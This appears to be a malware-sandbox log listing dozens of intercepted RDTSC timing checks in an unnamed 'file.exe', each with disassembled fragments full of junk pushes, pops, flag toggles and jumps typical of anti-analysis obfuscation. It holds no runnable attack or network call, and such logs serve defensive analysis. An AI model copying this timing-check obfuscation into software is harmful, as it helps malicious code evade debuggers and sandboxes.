Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE093A second address: 4AE0940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE08A0 second address: 4AE08D3 instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a movsx edi, ax 0x0000000d mov edx, ecx 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov ax, A42Fh 0x00000016 pushad 0x00000017 call 00007F9D1073AE72h 0x0000001c pop eax 0x0000001d popad 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE08D3 second address: 4AE08DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE08DA second address: 4AE08F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D1073AE77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE05E1 second address: 4AE0636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, di 0x00000011 pushfd 0x00000012 jmp 00007F9D106F7667h 0x00000017 xor ah, 0000005Eh 0x0000001a jmp 00007F9D106F7669h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0636 second address: 4AE063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE063C second address: 4AE0640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0640 second address: 4AE0644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0644 second address: 4AE0662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9D106F7661h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0662 second address: 4AE0668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF057A second address: 4AF057E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF057E second address: 4AF0582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0582 second address: 4AF0588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0588 second address: 4AF05B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 06h 0x00000005 mov edx, 4A2CF9B8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F9D1073AE79h 0x00000016 mov ch, 1Ch 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00681 second address: 4B00686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00686 second address: 4B006C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007F9D1073AE76h 0x0000000c jmp 00007F9D1073AE75h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop eax 0x0000001c movsx edi, ax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B006C7 second address: 4B006D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F765Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B006D7 second address: 4B006DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B006DB second address: 4B00717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b jmp 00007F9D106F7667h 0x00000010 and dword ptr [eax], 00000000h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9D106F7665h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00717 second address: 4B00758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d jmp 00007F9D1073AE6Eh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9D1073AE77h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00758 second address: 4B0075E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0075E second address: 4B00762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00762 second address: 4B00766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE07C3 second address: 4AE07CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 86C9h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE07CC second address: 4AE0806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F9D106F765Eh 0x00000015 or ecx, 4CEDC248h 0x0000001b jmp 00007F9D106F765Bh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0806 second address: 4AE0830 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a jmp 00007F9D1073AE6Bh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9D1073AE70h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0830 second address: 4AE083F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE083F second address: 4AE0845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0845 second address: 4AE0849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0849 second address: 4AE084D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00242 second address: 4B00248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00248 second address: 4B0024C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2086D second address: 4B20871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20871 second address: 4B208D5 instructions: 0x00000000 rdtsc 0x00000002 mov bx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F9D1073AE76h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F9D1073AE70h 0x00000015 xchg eax, ecx 0x00000016 jmp 00007F9D1073AE70h 0x0000001b push eax 0x0000001c pushad 0x0000001d jmp 00007F9D1073AE71h 0x00000022 movzx ecx, dx 0x00000025 popad 0x00000026 xchg eax, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c mov si, 82C1h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20A1C second address: 4B20A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20A22 second address: 4B20A42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9D1073AE75h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20A42 second address: 4B20AC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov edi, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f mov esi, eax 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 xor esi, dword ptr [00F12014h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007F9D143480B6h 0x00000026 push FFFFFFFEh 0x00000028 jmp 00007F9D106F7662h 0x0000002d pop eax 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F9D106F765Eh 0x00000035 jmp 00007F9D106F7665h 0x0000003a popfd 0x0000003b pushfd 0x0000003c jmp 00007F9D106F7660h 0x00000041 add ecx, 254D2428h 0x00000047 jmp 00007F9D106F765Bh 0x0000004c popfd 0x0000004d popad 0x0000004e ret 0x0000004f nop 0x00000050 push eax 0x00000051 call 00007F9D1434810Fh 0x00000056 mov edi, edi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F9D106F7660h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AC6 second address: 4B20ACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20ACA second address: 4B20AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AD0 second address: 4B20AFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9D1073AE70h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 movsx ebx, si 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AFA second address: 4B20B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F765Fh 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F9D106F7666h 0x00000010 mov ebp, esp 0x00000012 jmp 00007F9D106F7660h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9D106F765Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B46 second address: 4B20B4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20B4C second address: 4B20B5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F765Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0015 second address: 4AD001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD001B second address: 4AD001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD001F second address: 4AD003F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD003F second address: 4AD005A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD005A second address: 4AD012C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 5Dh 0x00000005 mov cx, 9257h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F9D1073AE6Dh 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F9D1073AE6Ch 0x0000001a adc ch, FFFFFFF8h 0x0000001d jmp 00007F9D1073AE6Bh 0x00000022 popfd 0x00000023 mov ecx, 724AC72Fh 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007F9D1073AE72h 0x00000030 and esp, FFFFFFF8h 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F9D1073AE6Eh 0x0000003a adc ecx, 11F57788h 0x00000040 jmp 00007F9D1073AE6Bh 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F9D1073AE78h 0x0000004c or cl, FFFFFFE8h 0x0000004f jmp 00007F9D1073AE6Bh 0x00000054 popfd 0x00000055 popad 0x00000056 xchg eax, ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a pushfd 0x0000005b jmp 00007F9D1073AE6Bh 0x00000060 sbb cx, 492Eh 0x00000065 jmp 00007F9D1073AE79h 0x0000006a popfd 0x0000006b push esi 0x0000006c pop ebx 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD012C second address: 4AD019B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 jmp 00007F9D106F765Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9D106F765Fh 0x00000015 jmp 00007F9D106F7663h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F9D106F7668h 0x00000021 or ax, C368h 0x00000026 jmp 00007F9D106F765Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD019B second address: 4AD019F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD019F second address: 4AD01A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD01A5 second address: 4AD01ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F9D1073AE70h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov dh, B4h 0x00000013 jmp 00007F9D1073AE6Ah 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9D1073AE77h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD01ED second address: 4AD0243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 6E7Ah 0x00000007 mov dx, F846h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebx, dword ptr [ebp+10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F9D106F7666h 0x0000001a or si, 2CE8h 0x0000001f jmp 00007F9D106F765Bh 0x00000024 popfd 0x00000025 call 00007F9D106F7668h 0x0000002a pop eax 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0243 second address: 4AD02A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9D1073AE6Eh 0x00000009 adc cl, 00000078h 0x0000000c jmp 00007F9D1073AE6Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F9D1073AE78h 0x00000018 sub ecx, 113724D8h 0x0000001e jmp 00007F9D1073AE6Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9D1073AE70h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD02A7 second address: 4AD02AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD02AB second address: 4AD02B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD02B1 second address: 4AD02E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9D106F765Bh 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9D106F7665h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD02E7 second address: 4AD02ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD02ED second address: 4AD02F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD02F1 second address: 4AD0323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007F9D1073AE6Fh 0x00000010 xchg eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9D1073AE75h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0323 second address: 4AD0375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9D106F7667h 0x00000009 jmp 00007F9D106F7663h 0x0000000e popfd 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 movsx edi, si 0x00000019 movzx eax, dx 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9D106F7662h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0375 second address: 4AD03D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test esi, esi 0x0000000c pushad 0x0000000d jmp 00007F9D1073AE75h 0x00000012 push eax 0x00000013 mov ebx, 380D0BF2h 0x00000018 pop ebx 0x00000019 popad 0x0000001a je 00007F9D82B990DCh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F9D1073AE6Bh 0x00000029 or si, 29EEh 0x0000002e jmp 00007F9D1073AE79h 0x00000033 popfd 0x00000034 mov ah, D9h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD03D6 second address: 4AD03DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD03DC second address: 4AD0424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F9D1073AE6Dh 0x0000001b adc cl, FFFFFF86h 0x0000001e jmp 00007F9D1073AE71h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0424 second address: 4AD0429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0429 second address: 4AD0454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D1073AE78h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F9D82B99049h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0454 second address: 4AD0458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD0458 second address: 4AD045E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD045E second address: 4AD046D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F765Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD046D second address: 4AD04AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b jmp 00007F9D1073AE75h 0x00000010 or edx, dword ptr [ebp+0Ch] 0x00000013 jmp 00007F9D1073AE6Eh 0x00000018 test edx, 61000000h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD04AA second address: 4AD04AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD04AE second address: 4AD04B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD04B2 second address: 4AD04B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC069E second address: 4AC06B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D1073AE74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC06B6 second address: 4AC0714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F9D106F7666h 0x00000011 push eax 0x00000012 jmp 00007F9D106F765Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F9D106F765Bh 0x00000021 jmp 00007F9D106F7663h 0x00000026 popfd 0x00000027 mov eax, 3E67576Fh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0714 second address: 4AC071A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC071A second address: 4AC071E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
